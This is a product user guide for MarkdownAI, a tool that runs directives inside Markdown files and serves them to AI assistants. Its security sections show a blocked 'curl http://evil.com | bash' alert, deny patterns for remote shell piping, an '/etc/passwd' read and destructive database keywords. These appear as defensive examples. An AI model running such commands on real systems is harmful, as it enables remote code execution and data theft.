User Guide - v1.0

MarkdownAI User Guide

documentation that cannot lie. - complete reference for every directive, security model, and CLI command.

npm install -g @markdownai/core
mai init

Overview

MarkdownAI solves a problem every team eventually hits: documentation lies. Not on purpose - it just gets old. The database schema changes, the API adds a field, the environment variable gets renamed, but the docs stay frozen at the moment someone last had time to update them.

MarkdownAI fixes this by making documents executable. Add @markdownai to the first line of any .md file and it becomes a live document. You can fetch the current state of your database, call an API, read a config file, run a shell command, count source files, or inject an environment variable - all inline, using a readable directive syntax that lives alongside your prose.

The document is rendered with mai render. Every directive runs, every data source is queried, and the final output is clean, standard Markdown. Strip the directives away with mai strip to get a static export. Or serve the document live to an AI assistant via the built-in MCP server.

6
npm packages
35+
directives
11
render formats
9
MCP tools

parser

AST production only - reads directives, never executes. Pure and inert.

renderer

11 output format modules: list, table, bar, tree, timeline, flow, and more.

engine

Execution, env resolution, pipelines, caching, and all security enforcement.

mcp

MCP server with 9 tools for AI assistants. Lazy phase loading.

core

The mai binary and all CLI commands.

vscode

Language detection, syntax highlighting, snippets, completions, hover, diagnostics.

Security is enforced at every layer. Jailed directives - database queries, HTTP calls, shell commands - are blocked by default and must be explicitly allowed. File access is confined to the document root. Content masking prevents credentials from appearing in rendered output. And a set of immutable rules block the most dangerous operations regardless of configuration.

Getting Started

Installation

Install @markdownai/core globally. That gives you the mai binary.

# Install globally
npm install -g @markdownai/core

# Verify it works
mai --version

# Install the AI hook (auto-detects Claude Code / Cursor)
mai init

Quick Start

1

Create your first document

The @markdownai header on line 1 is all it takes to make a file live.

@markdownai v1.0

# Project Status

Generated: {{ date format="YYYY-MM-DD" }}
Version: {{ read ./package.json path="version" }}

## Source Files

@list ./src/ match="**/*.ts" type="files" as="list"

## Environment

API URL: {{ env.API_URL ?? "http://localhost:3000" }}
2

Render it

mai render status.md

All directives run. Output is clean, standard Markdown printed to stdout.

3

Validate before sharing

mai validate status.md

Checks for missing required env vars, unclosed blocks, and broken file references without producing output.

4

Strip to static markdown

mai strip status.md -o dist/status.md

Removes all directives, resolves conditionals, produces plain markdown safe for any reader.

After mai init, every .md file that starts with @markdownai is automatically routed through the MarkdownAI engine when an AI assistant reads it. The AI always sees rendered, live output - not raw directive syntax.

Universal CLI Flags

These flags work on every mai command:

FlagEffect
--env <file>Load a .env file to supply environment variables
--cwd <path>Run as if you were in a different directory
--verbosePrint warnings and security events to the terminal
--strictTreat warnings as errors; halt on any security issue
--silentSuppress all output except fatal errors and security alerts

Inline Interpolation {{ }}

Inline interpolation lets you embed live values directly inside your prose using double curly braces. Instead of writing static text that goes stale, you pull in real data - environment variables, dates, file counts, computed values - right where the words are.

{{ expression }} works inside paragraphs, headings, list items, and table cells. It does not activate inside fenced code blocks or inline code spans, so your code examples stay untouched.

Operators

OperatorPurposeExample
??Fallback if value is missing{{ env.PORT ?? "3000" }}
?.Optional chaining{{ config?.server?.port }}
? :Ternary conditional{{ env.CI ? "CI mode" : "local" }}
\{{Escape - renders literal {{\{{ not evaluated }}

Examples

@markdownai v1.0

# Report - {{ date format="YYYY-MM-DD" }}

Version: {{ read ./package.json path="version" }}

API endpoint: {{ env.API_URL ?? "http://localhost:3000" }}

Running in {{ file.exists "./config/prod.json" ? "production" : "development" }} mode.

Source files: {{ count ./src/ match="**/*.ts" }}

Expressions that cannot be resolved quietly become empty strings and log a warning. Run mai validate first to catch them before rendering.

@env Environment Variables

@env lets your documents read environment variables directly - so sensitive values like API keys, database URLs, or deployment settings never have to be hardcoded. You can declare fallback values for when a variable isn't set, keeping your documents functional across environments.

Syntax

@markdownai v1.0

# Variable as a standalone paragraph (renders the value)
@env API_BASE_URL

# Variable with a fallback - renders "https://api.example.com" when unset
@env API_BASE_URL fallback="https://api.example.com"

# Required - mai validate fails if unset
@env DATABASE_URL required

# Required and masked - never appears in rendered output
@env SECRET_KEY required masked

# Inline usage anywhere in prose
The API is at {{ env.API_BASE_URL ?? "http://localhost:3000" }}.

Resolution Order

When resolving a variable, mai checks these sources in order and uses the first match:

1

Shell environment

Always wins. Variables set in your terminal or CI environment take priority over everything.

2

--env file

Any .env file passed via mai render --env .env.production.

3

@import fallbacks

Fallbacks registered in files you've imported with @import.

4

Inline fallback

The fallback= value on the directive itself.

5

Empty string

No error thrown - document renders with an empty value. required overrides this and fails validation instead.

@define and @call Macros

Macros let you define reusable content blocks once and insert them anywhere. This eliminates copy-pasting repeated content and keeps documents consistent when shared values change.

Basic Macro

@define disclaimer
This report is generated automatically and may contain estimates.
@end

# Section One

@call disclaimer

# Section Two

@call disclaimer

Macro with Parameters

Use {{ param || "default" }} inside the body to accept values at call time with an optional fallback:

@define greeting(name, role)
Hello, {{ name || "reader" }}. Your role is {{ role || "viewer" }}.
@end

@call greeting(name=Alice, role=Admin)
@call greeting(name=Bob)

Local Scope

Add @local after the macro name to keep it scoped to the current file - it won't bubble up to parent documents that include this file:

@define internal-note @local
For internal review only - do not distribute.
@end

@call internal-note

Macros Can Contain Any Directive

Macros can include data fetches, conditionals, other @call directives - anything that is valid in a document body.

Macros are not rendered at definition time. The @define block produces no output. Output only appears when you use @call.

@include Content Inclusion

The @include directive pulls another Markdown file's content directly into your document at that point - as if you had written it there yourself. Any macros, connections, or environment fallbacks defined in the included file automatically become available to the rest of your parent document.

@markdownai v1.0

# Full Report

@include ./sections/header.md

@include ./data/metrics.md @cache session

@if env.TIER == "enterprise"
  @include ./sections/enterprise-features.md
@endif

@include ./sections/footer.md

Rules

  • Paths are relative to the file containing the directive.
  • Absolute paths and paths navigating above the document root are always blocked.
  • To include specific line ranges from a source file: @include ./src/auth.ts lines=10-45
  • Circular reference detection is automatic - an error halts rendering and shows the full chain.
  • Including a file multiple times is valid and intentional repetition is supported.
  • Mark definitions as @local inside included files to prevent them bubbling up to the parent.

@import Definition Import

@import brings in macros, database connections, and environment variable defaults from another file - without rendering any of that file's content. This is how you maintain a central "definitions library" shared across many documents.

@markdownai v1.0

@import ./shared/connections.md
@import ./shared/macros.md @cache session

# My Document

@call header-block

@db using="reports"
  find="orders" where="status==pending"
@end

What @import Brings In

  • @define macros - available via @call throughout the importing document
  • @connect connections - available by name in @db blocks
  • @env fallbacks - register defaults without outputting values

Diamond Dependencies

If two files both import the same third file, the second import is a silent no-op. Definitions are registered once. This handles diamond dependency graphs safely without duplication or errors.

@import vs @include: Use @import when you want definitions without content. Use @include when you want the file's rendered content to appear in your document.

@if Conditionals

Show or hide sections based on conditions - environment, file existence, or data values. The same expression system works inside @if conditions, where filters on data queries, and {{ }} interpolations. Learn the operators once and they work throughout.

@markdownai v1.0

@if env.APP_ENV == "production"
This section only appears in production builds.
@else
You are viewing a non-production build.
@endif

@if file.exists "./config/custom.json"
Custom configuration detected.
@elseif file.isDir "./config"
Config directory found but no custom.json.
@else
No configuration found.
@endif

@if env.ROLE == "admin" && env.REGION == "us-east"
Admin dashboard - US East region.
@endif

Expression Operators

OperatorMeaning
== / !=Equal / not equal
< / > / <= / >=Numeric comparisons
&& / || / !Logical AND, OR, NOT
.startsWith() / .endsWith() / .includes()String methods
file.exists / file.isFile / file.isDirFilesystem checks
match "pattern"Regex match (see match operator section)

Always supply --env when stripping or rendering documents with conditionals. Run mai validate first to catch unset variables before they silently evaluate to false.

Pipe Operator and @render

The pipe operator | connects a data source through one or more transform steps to a final @render sink - all on a single line. This brings Unix-style composability to your documents.

@markdownai v1.0

# TypeScript Files

@list ./src/ | grep \.ts$ | sort | @render type="numbered"

# Active Users

@db using="primary" find="users" where="active==true" | @render type="table"

# File Count

There are @list ./src/ | wc -l TypeScript files in this project.

# Shorthand with "as"

@list ./data/users.json path="users" as="table"

Built-in Transforms (Cross-Platform)

These run as pure Node.js code - no shell required, works on Windows, macOS, and Linux:

TransformEffect
sortSort lines alphabetically
sort -nSort numerically
sort -rSort in reverse
grep patternKeep lines matching pattern
grep -v patternKeep lines NOT matching
grep -i patternCase-insensitive match
head -NKeep first N lines
tail -NKeep last N lines
uniqRemove consecutive duplicates
wc -lCount lines

Shell Transforms (Unix/WSL only)

awk, sed, jq, cut - spawn child processes. On Windows without WSL they are automatically skipped with a warning.

@render Format Types

TypeOutput
listUnordered bullet list
numberedOrdered numbered list
linksList of clickable markdown links
tableGrid table with headers. Use columns="name,version" to pick fields
codeFenced code block
inlinePlain text - for embedding a scalar value in a sentence
barHorizontal ASCII bar chart. Use label="field" value="field"
flowASCII flow diagram with arrows
treeASCII indented tree for nested data
timelineLeft-to-right ASCII timeline
jsonPretty-printed JSON in a fenced code block

@list Source Directive

@list is the primary way to enumerate things in a MarkdownAI document - files on disk, items from a JSON array, rows from a CSV. Results appear directly in your document as a table, list, or any other format you choose.

Options

OptionControlsDefault
matchGlob pattern for filesystem listing*
typeWhat to list: files, dirs, or bothfiles
depthHow many folder levels deepUnlimited
pathDot-notation key into a JSON fileRoot
modeHow to read a JSON object: keys, values, entriesNone
columnsFields to show and their labels: key:Label,key2:Label2All fields
whereFilter rows by a field valueNone
asOutput format shorthand: table, listNone
@cacheCache result: session, persist, ttl=NNone

Examples

@markdownai v1.0

# TypeScript Source Files

@list ./src/ match="**/*.ts" type="files"

# Active Users from JSON

@list ./data/users.json path="users" where="status:active" as="table"

# npm Dependencies

@list ./package.json path="dependencies" mode="entries" columns="key:Package,value:Version"

# CSV Product Catalog

@list ./data/products.csv columns="sku:SKU,name:Product,price:Price" where="inStock:true"

@read Source Directive

@read pulls a specific value or slice of data from a structured file into your document. Supports JSON, YAML, TOML, CSV, and .env files.

@markdownai v1.0

# Configuration

Database host: @read config.json path="database.host"
Server port: @read config.yaml path="$.server.port"

# Active Users

@read users.csv where="status='active'" columns="name:Name,email:Email"

# Version

Package version: {{ read ./package.json path="version" }}

Options

OptionApplies ToDescription
path="dot.notation"JSON, YAML, TOMLNavigate to a nested value. Supports [n] array indices.
key="KEY_NAME".envLook up a single flat key
column="name"CSVExtract one column; one value per line
where=CSVFilter rows using an expression
columns="key:Label,..."CSVSelect and rename multiple columns
collapse trueAnyStringify nested objects inline
as="type"AnyControl output rendering format
@cacheAnyCache the file read result

.env files are blocked by security rules. You cannot read a .env file with @read using path= - use key= instead, and only for non-sensitive keys.

@tree, @date, @count

Three utility directives that display live directory structures, inject current or file-modified dates, and count files. All three also work inside {{ }} expressions.

@tree - Directory Listing

@tree ./packages/ depth=2
@tree ./src/ depth=3 type=dirs
@tree ./src/ match="*.ts" depth=2

@date - Dates and Timestamps

Generated: @date format="YYYY-MM-DD"
Full timestamp: @date format="YYYY-MM-DD HH:mm:ss"
File modified: @date file="./CHANGELOG.md" type="modified"

Inline: Last updated {{ date format="MMMM D, YYYY" }}.

Date Format Tokens

TokenOutput
YYYY4-digit year: 2026
MM2-digit month: 05
DD2-digit day: 19
HH24-hour hour: 14
hh12-hour hour: 02
mmMinutes: 30
ssSeconds: 45
A / aAM/PM / am/pm
ISOFull ISO 8601 string
XUnix timestamp (seconds)
xUnix timestamp (milliseconds)

@count - File Counter

# Source Statistics

TypeScript files: @count ./src/ match="**/*.ts" type=files
Test files: @count ./src/ match="**/*.test.ts" type=files
Directories: @count ./src/ type=dirs

Inline: This package has {{ count ./src/ match="**/*.ts" }} source files.

@connect and @db

@connect registers named database connections. @db queries them. Both are jailed - database access is disabled by default and must be enabled in your security config before either directive does anything.

@connect - Connection Registry

@markdownai v1.0

@connect reports type="mongodb" uri=env.MONGODB_URI
@connect analytics type="postgres" uri=env.ANALYTICS_PG_URI
@connect local type="sqlite" uri=env.SQLITE_PATH @local

Supported types: mongodb, postgres, mysql, mssql, sqlite, redis, elasticsearch

@db - Query Operations

Pick exactly one operation per @db directive:

OperationWhat It Does
find="collection"Returns multiple rows matching your filter
one="collection"Returns the first matching row
count="collection"Returns a row count
aggregate="collection"Groups and summarizes rows
raw="SQL string"Native query passthrough (requires explicit opt-in)
# Active Users

@db using="reports" find="users" where="active==true" | @render type="table"

# Orders by Status (bar chart)

@db using="reports" aggregate="orders" group="status" count=true | @render type="bar"

# Single Record

@db using="reports" one="users" where="email==env.ADMIN_EMAIL"

# Count Pending

Pending orders: @db using="reports" count="orders" where="status==pending"

Common @db Options

OptionDescription
using="name"Named connection from @connect
uri=env.VARInline connection URI - no @connect needed
where="expression"Filter condition
sort="field:asc"Sort order
limit=NMax rows to return
columns="field:Label,..."Select and rename output fields
as="table"Shorthand for | @render type="table"
@cacheAlways the last token: session, persist, mock=./file.json

Connections use environment variables, never hardcoded credentials. When mai renders to static output, all @connect directives are stripped.

@http HTTP Requests

@http lets you embed live data from any web API directly in your document. By default it produces no output - the target domain must be on your allowlist before any request is made.

@markdownai v1.0

# API Version

@http url="https://api.example.com/status" path="version"

# Authenticated Request

@http url=env.API_URL headers="Authorization=env.API_TOKEN" path="data.summary"

# JSON Array Filtered and Rendered

@http url="https://api.example.com/deployments" columns="env:Environment,status:Status" where="status == 'failed'" as="table"

# With Caching

@http url="https://api.example.com/metrics" @cache persist ttl=3600

Options

OptionDefaultDescription
url=RequiredThe endpoint. Use url=env.VAR to keep URLs out of the document.
method=GETHTTP verb. POST/PUT/DELETE require explicit permission in security config.
path=-Dot-path selector into the JSON response
body=-Request body. Only valid for non-GET methods.
headers=-Comma-separated headers. Literal credentials are masked automatically.
expected=-Assert a specific HTTP status code
@cache-session, persist, ttl=N, or mock=./file.json

@query Shell Commands

@query runs a shell command and injects its output into the document. Every command must be on your allowlist - commands not on the list are silently stripped. Shell execution is disabled by default.

@markdownai v1.0

# Repository Status

Current branch: @query "git branch --show-current"

Recent commits:
@query "git log --oneline -5"

# Dependency Audit

@query "npm audit --json" @cache session

# Named Output for Reuse

@query git branch --show-current label=branch

@if {{ branch }} match "^feat"
On a feature branch: {{ branch }}
@endif

Key Points

  • Disabled by default. Enable with mai security shell enable.
  • Every command must match an allowlist pattern before it runs.
  • Use label=name to store the result for reuse in conditions and other directives.
  • On error, produces empty string and logs a warning. Pass --strict to make errors fatal.
  • Cross-platform when using git, node, npm - not when using bash-specific syntax.

@phase, @on complete, @graph

@phase divides a document into named workflow stages. Only the active phase loads into AI context at a time, keeping large multi-step documents focused. @graph draws a Mermaid diagram of your workflow for human readers.

@markdownai v1.0

@phase intake
  Gather open support tickets.
  @http url=env.TICKET_API path="tickets.open" as="table"
  @on complete -> triage
@end

@phase triage
  Review tickets and assign priority.
  @call load-assignment-rules
  @on complete -> archive
  @on complete -> @call notify_team
@end

@phase archive
  Move resolved tickets to long-term storage.
  @db using="primary" find="tickets" where="status==resolved" | @render type="table"
@end

Workflow Diagram (documentation only)

```mai-graph
graph LR
  intake --> triage --> archive
```

Rules

  • @phase blocks are only valid in the root document. Using them in an @import-ed file is a parse error.
  • @on complete is only valid inside a @phase ... @end block.
  • Multiple @on complete lines execute sequentially, top to bottom.
  • Run a specific phase with: mai render doc.md --phase phasename
  • The MCP server automatically loads only the active phase, not the whole document.

Standard Library

The standard library ships 32 built-in macros for common tasks. They auto-load when the engine starts - no setup required. Call any of them in any document marked @markdownai.

@markdownai v1.0

@call git-branch
@call project-manager
@call code-any-types

Working on: {{ current_branch }}
Package manager: {{ pkg_manager }}
TypeScript `any` count: {{ any_count }}

@call git-modified

@if {{ modified_files }} != ""
> Warning: you have uncommitted changes.
@endif

Macro Groups

Git (9 macros)

branch, status, log, diff stats, staged files, modified files, untracked files, commits ahead, last commit message

Filesystem (7 macros)

directory listing, file search by pattern, large files, recently changed files, tree view, file count by extension, directory size

Project Detection (5 macros)

package manager, primary language, project name, version, test command

Code Analysis (5 macros)

TODO comments, console.log calls, TypeScript any types, test file locations, arbitrary grep

Environment (6 macros)

Node version, OS, port availability, command existence, CI detection, git author

Parameterized Macros

@call fs-find(*.ts)        # find TypeScript files
@call env-port(3000)        # check if port 3000 is available
@call fs-count(ts)          # count files by extension
@call code-grep(TODO)       # grep for pattern

If you define a macro with the same name as a stdlib macro, your definition wins.

Security Overview

MarkdownAI uses a "jail-first" security model: all dynamic operations - database queries, HTTP requests, shell commands - are blocked by default unless you explicitly allow them. This protects you from running untrusted or malicious documents on your system.

Security Config File

Your personal security rules live at ~/.markdownai/security.json. Create one with:

mai security init
mai security show   # display active policy

Runtime Modes

FlagModeBehavior
(none)SilentBlocked directives stripped quietly; events logged to file only
--verboseVerboseSecurity events also printed to the terminal
--strictStrictAny stripped directive is an error; halts immediately

Log Files

FilePurpose
~/.markdownai/security.jsonYour personal rules - allowlists, deny patterns, preferences
~/.markdownai/audit.logPermanent log of every security event. Cannot be disabled by any document or config.
~/.markdownai/runtime.logAll warnings from every run, stored as structured JSON

Filesystem Confinement

Two independent security layers protect you when documents include or import other files. Both are always active - no setup required, no way to turn them off.

Confinement

All file access is restricted to the document's own directory. Paths navigating above that boundary, absolute paths, and ../ sequences are always blocked.

Content Masking

File content is scanned for credentials, tokens, and connection strings before reaching rendered output. Matches are replaced with [MASKED]. Masking runs before caching - secrets never reach the cache in plain text.

# Include within document root - allowed
@include ./data/report.csv

# Include from a parent directory - requires explicit flag on every invocation
mai render report.md --allow-traversal ../shared-data/

# Absolute path - always rejected, SECURITY_ALERT
@include /etc/passwd

Configuration Options

OptionWhat It Controls
--allow-traversal <path>Permits access to one specific directory outside document root. Must be provided on every invocation.
allow_unmasked_pathsGlob patterns for files that skip content masking (in security config)
allow_unmasked_patternsVariable name patterns whose values are restored after masking (e.g. NODE_ENV=*)

Shell Execution Jail

Controls exactly which shell commands your documents can run via @query. Allowlist-first: every command is blocked by default unless you explicitly permit it.

# Enable shell execution (disabled by default)
mai security shell enable

# Add allowed command patterns
mai security shell add "git log *"
mai security shell add "npm audit *"
mai security shell add "find * -name *.ts"

# Test whether a command would be allowed
mai security shell test "git log --oneline -5"
# ALLOWED: matches allow_pattern "git log *"

mai security shell test "rm -rf /tmp/cache"
# BLOCKED: matches deny_pattern "rm *"

# List current rules
mai security shell list

Configuration

OptionDefaultDescription
shell.enabledfalseMaster switch - all @query directives are stripped when false
shell.allow_patterns[]Glob patterns for commands permitted to run
shell.deny_patterns[]Glob patterns always blocked (deny wins over allow)
shell.allow_networkfalseWhether shell commands may make network calls
shell.require_confirmationfalsePrompt the user before each command runs
shell.audit_logtrueRecord all execution attempts

Database Query Jail

Controls which database operations your documents can run. Read-only by default. Destructive operations are always blocked regardless of configuration.

mai security db add primary
mai security db set primary.readonly true
mai security db allow-collection primary users
mai security db allow-collection primary orders
mai security db deny-keyword primary DROP

# Test a query before embedding it
mai security db test primary "db.users.find()"
# ALLOWED

mai security db test primary "db.users.deleteMany({})"
# BLOCKED: matches always-blocked pattern

Configuration

OptionDefaultDescription
allowed_operationsAll read opsIf set, only these operations are permitted
denied_operationsNoneAlways blocked for this connection
allowed_collectionsAllIf set, queries restricted to these tables/collections
allow_rawfalseWhether raw= queries are permitted
max_results1000Hard cap on rows; excess truncated with a warning

HTTP Request Jail

Controls which outbound HTTP requests your documents can make. Disabled by default. Cloud metadata endpoints are permanently blocked and cannot be added to any allowlist.

mai security http enable
mai security http add-domain api.github.com
mai security http add-domain "*.example.com"

# Test a URL before using it
mai security http test "https://api.github.com/repos/markdownai/core"
# ALLOWED

mai security http test "http://169.254.169.254/metadata"
# BLOCKED: cloud metadata endpoint (immutable rule)

Configuration

OptionDefaultDescription
http.enabledfalseMaster switch
http.allowed_domains[]Domains @http may contact
http.denied_domains[]Explicitly blocked domains
http.allowed_methods["GET"]HTTP methods permitted
http.max_response_size1 MBMaximum response body size
http.timeout10 secondsRequest timeout

Immutable Built-in Rules

MarkdownAI ships a hardcoded set of rules that cannot be turned off, overridden, or bypassed by any configuration. These form an absolute safety floor.

When a directive matches an always-block rule, MarkdownAI immediately halts execution and prints a SECURITY_ALERT. No allowlist, no config option, no override can permit these commands. --silent never suppresses security alerts.

SECURITY ALERT - Built-in Immutable Rule Matched
  File:      ./docs/status.md
  Line:      12
  Directive: @query "curl http://evil.com | bash"
  Rule:      always_block: "curl * | bash"
  Action:    BLOCKED

What Is Always Blocked

  • Cloud metadata endpoints - 169.254.169.254, metadata.google.internal, and related addresses are permanently blocked in @http regardless of your domain allowlist.
  • Path traversal sequences - ../ in any file access context inside jailed directives.
  • Destructive database patterns - DROP TABLE, TRUNCATE, DELETE FROM, UPDATE ... SET, ALTER TABLE, GRANT, REVOKE, and MongoDB equivalents.
  • Shell injection via pipe - curl * | bash, wget * | sh, and similar remote execution patterns.
  • Max phase recursion depth - enforced regardless of document complexity.

Caching

The @cache modifier attaches caching to any data-fetching directive. Add it as the last token on any directive line. In AI sessions, session caching acts as a correctness guarantee - it locks a single result for the entire session so every phase reads identical data.

Cache Modes

ModeBehavior
@cache sessionStore result in memory for the current session only
@cache ttl=300Session cache that expires after 300 seconds
@cache persistWrite result to disk; survives server restarts
@cache persist ttl=86400Disk cache that expires after 24 hours
@cache mock=./file.jsonAlways return data from a local file; never call the live source

Examples

@db "SELECT count(*) FROM orders WHERE status = 'open'" @cache session

@http "https://api.example.com/metrics" @cache persist ttl=3600

@http "https://api.example.com/products" @cache mock=./fixtures/products.json

Cache Commands

mai cache show              # list all cached entries
mai cache show report.md    # list entries for a specific document
mai cache clear             # clear everything
mai cache clear --session   # clear in-memory only
mai cache clear --persist   # clear disk cache only
mai cache seed report.md    # pre-populate by running all fetches

# Seed from production, work offline
mai cache seed report.md --env .env.production
mai watch report.md

Mock mode is particularly useful for testing. Seed a fixture from production once: mai cache seed report.md --env .env.production --directive db. Then develop against predictable data without a live database connection.

mai strip

mai strip removes all MarkdownAI directives from a document and produces clean, standard Markdown safe to commit, share, or open in any regular viewer. Conditional sections are resolved against your environment - the right branch is kept, the rest discarded.

# Strip and preview
mai strip README.md

# Strip to a file
mai strip README.md -o dist/README.md

# Strip with environment for correct conditional resolution
mai strip docs/guide.md --env .env.production -o dist/guide.md

# Strip an entire directory
mai strip ./docs/ --env .env.production -o ./dist/

The strip command never executes any directives - it only removes or resolves syntax. @note blocks are always removed regardless of the visible flag. @prompt and @constraint blocks are also stripped.

MCP Server

mai serve starts a Model Context Protocol server. When an AI assistant connects, it serves documents intelligently - executing directives, resolving phases lazily, and exposing the document's structure as callable tools.

mai serve
mai serve --cwd ~/projects/my-docs
mai serve --port 3000

9 MCP Tools

ToolDescription
read_fileRead and execute a MarkdownAI document. Returns rendered live output. Accepts an optional token budget.
list_phasesList all @phase blocks in a document with their transitions
resolve_phaseRender the content of a specific named phase
next_phaseReturn the phase that follows the current one
call_macroExecute a named @define macro, optionally passing parameters
get_envRetrieve a resolved environment variable by name
get_constraintsReturn all @constraint blocks sorted by severity
execute_directiveRun a single MarkdownAI directive and return its output
invalidate_cacheClear cached rendered output for a file or all files

Lazy Phase Loading

The MCP server loads only the active phase into AI context at any given time. A 20-phase document never floods the AI with everything at once. The AI works through each phase in sequence, calling next_phase when ready to advance.

// Walk a workflow from start to finish
list_phases({ file: "pipeline.md" })
resolve_phase({ file: "pipeline.md", phase: "implementation" })
next_phase({ file: "pipeline.md", phase: "implementation" })
// "review"
resolve_phase({ file: "pipeline.md", phase: "review" })

PreToolUse Hook

mai init installs a PreToolUse hook into Claude Code or Cursor. After installation, every .md file an AI reads is automatically checked. If it starts with @markdownai, the hook intercepts the read and routes it through the MarkdownAI engine before the AI sees it.

The AI receives fully resolved, live output - not raw directive syntax. The entire process is transparent. The AI never knows the hook is there, but it always sees the current branch name, actual test results, and live service status instead of stale prose.

# Auto-detect your AI client and install
mai init

# Explicit targets
mai init --client claude-code
mai init --client cursor

What Happens During a File Read

  1. AI requests to read a .md file.
  2. Hook intercepts before the file is returned.
  3. If file starts with @markdownai: routes through mai render.
  4. AI receives rendered output - all directives resolved, all data live.
  5. If file is plain markdown: passes through untouched.

AI-Native Features

MarkdownAI has a set of features designed specifically for AI consumers. They let you embed instructions, rules, and glossary terms directly inside documents - so a single file speaks differently to machines and people without you maintaining two versions.

@consumer - Audience-Targeted Rendering

@if consumer="ai"
**Status:** operational | uptime: 99.97% | last_incident: none
@endif

@if consumer="human"
## Service Status

Everything is running smoothly. No incidents in the past 30 days.
@endif
mai render status.md --consumer=ai
mai render status.md --consumer=human

@prompt - Embedded AI Instructions

Carries instructions for AI readers. Invisible to humans (or shown as a callout with the visible flag):

@prompt role="context"
All API endpoints in this document require an Authorization header
unless explicitly marked as public.
@end

@prompt role="constraint"
Treat all code samples as pseudocode unless the block is marked "production."
@end

Valid roles: context, constraint, calibration, instruction

@constraint - Machine-Readable Rules

Rules written as @constraint blocks are surfaced in a structured table when an AI reads the document. They cannot be missed the way prose rules can:

@constraint id="no-raw-sql" severity="critical"
NEVER pass user input directly to a database query. Always use parameterized queries.
@end

@constraint id="eval-forbidden" severity="critical"
eval() is never used. Use vm.runInNewContext() for expression evaluation.
@end

AI tools reading the document via MCP see:

## Constraints

| ID           | Severity | Rule                                         |
|--------------|----------|----------------------------------------------|
| no-raw-sql   | CRITICAL | NEVER pass user input directly to a database... |
| eval-forbidden | CRITICAL | eval() is never used...                    |

@note - Source Comments

Invisible in rendered output by default. Visible in the raw source file:

@note
This @db directive pulls from the staging replica.
Switch the alias to "prod" before the next release.
@end

@note visible
This section updates nightly. Refresh before sharing.
@end

@define-concept - Inline Glossary

Registers domain-specific terms. AI readers receive a full glossary at the top of the document:

@define-concept jailRoot "the document root directory used to confine file access"
@define-concept directive "a line starting with @ that MarkdownAI processes at render time"

Token-Efficient Format Mode

--format=ai strips decorative elements and compresses output for AI readers. The MCP server uses this by default. On typical documents this achieves a 15-40% reduction in token count.

mai render docs/api-reference.md --format=ai
mai render docs/changelog.md --format=ai --tables=kv

Skill Context Variables

When a MarkdownAI document is used as a Claude Code skill file, the full slash command invocation context is available as first-class variables in @if conditions and {{ }} interpolations. This enables real engine-evaluated dispatch - the document routes itself based on arguments.

Available Variables

VariableDescription
ARGUMENTS / argsFull raw argument string from $ARGUMENTS
argsListPositional args, shell-style parsed (quoted strings kept together)
arg0 - arg3Shorthand for argsList[0] through argsList[3]
CLAUDE_EFFORTEffort level: low, medium, high, xhigh, or max
CLAUDE_SESSION_IDUnique ID for the current Claude Code session
CLAUDE_SKILL_DIRDirectory containing the skill file
Named arg keysSpread into root scope from skill frontmatter arguments: list

Argument-Based Dispatch

@markdownai v1.0

@if ARGUMENTS.startsWith("audit")
  @include ./audit-mode.md
@elseif ARGUMENTS.startsWith("build")
  @include ./build-mode.md
@elseif ARGUMENTS.startsWith("status")
  @include ./status-mode.md
@endif

Effort-Based Conditionals

@if CLAUDE_EFFORT == "max"
  @include ./extended-analysis.md
@elseif CLAUDE_EFFORT == "high"
  @include ./standard-analysis.md
@else
  @include ./quick-analysis.md
@endif

Named Arguments from Frontmatter

---
arguments:
  - issue
  - branch
---
@markdownai v1.0

@if issue !== ""
Working on issue: {{ issue }}
@endif

@if branch !== ""
Target branch: {{ branch }}
@endif

Shell Inline Interception

Claude Code skill files support a native shell injection syntax: !`command`. It runs commands before Claude sees the file with no security gates. When a document has a @markdownai header, MarkdownAI takes ownership of all shell execution - including !`command` patterns.

Authors can write either syntax and get the same security behavior. This means a @markdownai document cannot be used as a vector for ungated shell execution even if the author uses Claude Code's own syntax.

@markdownai v1.0

Current branch: !`git branch --show-current`
Files changed: !`git diff --stat | wc -l`

With allowShell: true and matching allow patterns, the commands execute. With allowShell: false (default), they produce empty output.

Opting Out

To let Claude Code handle !`command` natively without security gating:

@markdownai shell-inline="passthrough"

The opt-out is named passthrough rather than disable - the author is explicitly handing control back to Claude Code, which has no security layer.

Security Comparison

Control@query!`cmd` via MarkdownAI!`cmd` via Claude Code
Disabled by defaultYesYes (same allowShell)No
Command allowlistYesYesNo
Deny patternsYesYesNo
Filesystem jailYesYesNo
Immutable block rulesYesYesNo
Audit logYesYesNo
Named output (label=)YesNoNo
Works outside Claude CodeYesYesNo

MDD Integration

MDD and MarkdownAI were built for each other. MDD enforces "document first" development - every feature is written down before any code is written. MarkdownAI makes those documents execute. The integration closes the loop: MDD's own artifacts stop being static files that drift, and start being live documents that reflect the actual state of the project every time they render.

Live Session Context

.mdd/.startup.md with a @markdownai header can query its own data on render - current branch, feature counts by status, last audit summary, recent commits. Claude always enters the session with accurate project state, not whatever .startup.md said last week.

@markdownai v1.0

@call git-branch
@call git-status

Current branch: {{ current_branch }}

@query "find .mdd/docs -name '*.md' | wc -l" label=feature_count
Total features: {{ feature_count }}

Token Economics

The current MDD system loads roughly 10,000 tokens per session. About a third of that is narrative prose - explanations of why rules exist, written for human readers. Claude needs the what and when, not the why.

OptimizationToken Savings
@define macros (branch guard, connections, startup)~840 tokens
@if conditional sections~400-780 tokens
Live .startup.md~750 tokens
@consumer=ai narrative stripping~1,416 tokens
@phase lazy loading via MCP~3,000-5,000 tokens

Conservative optimization (macros + conditionals + live startup): roughly a 19-23% reduction. With narrative stripping: about 35%. Full optimization with MCP phase loading: up to 80%.

Accuracy Improvements

Token savings matter, but the accuracy case is more important. A .startup.md rendered from live queries cannot be stale. A connections.md built by mai render cannot reference a doc that doesn't exist. Rules written as @constraint blocks are consistently enforced - rules buried in prose get missed.

The quick wins require no new features - just add @markdownai to .mdd/.startup.md and configure the pre-session hook to run mai render before Claude is invoked.

VS Code Extension

Install the MarkdownAI extension from the VS Code Marketplace. It activates automatically on any .md file that starts with @markdownai on line 1.

# Via Extensions panel: search "MarkdownAI", click Install
# Or via CLI:
code --install-extension markdownai.markdownai

Language Detection

Any .md with @markdownai on line 1 gets the markdownai language type. Works on files already open when VS Code starts.

Syntax Highlighting

All directives highlighted: @env, @if, @define, @phase, @db, @http, @query, @render, @constraint, @prompt, @cache, and {{ }} interpolations.

Snippets

15+ tab-triggered snippets: @def → define/end block, @if → full conditional, @phase → phase skeleton, {{ → interpolation.

Completions

Type @ to see all valid directives. Type @call to see all available macros (stdlib + local + imported) with their output variables.

Hover

Hovering @call name or @define name shows an inline tooltip: macro source, output variable, and description.

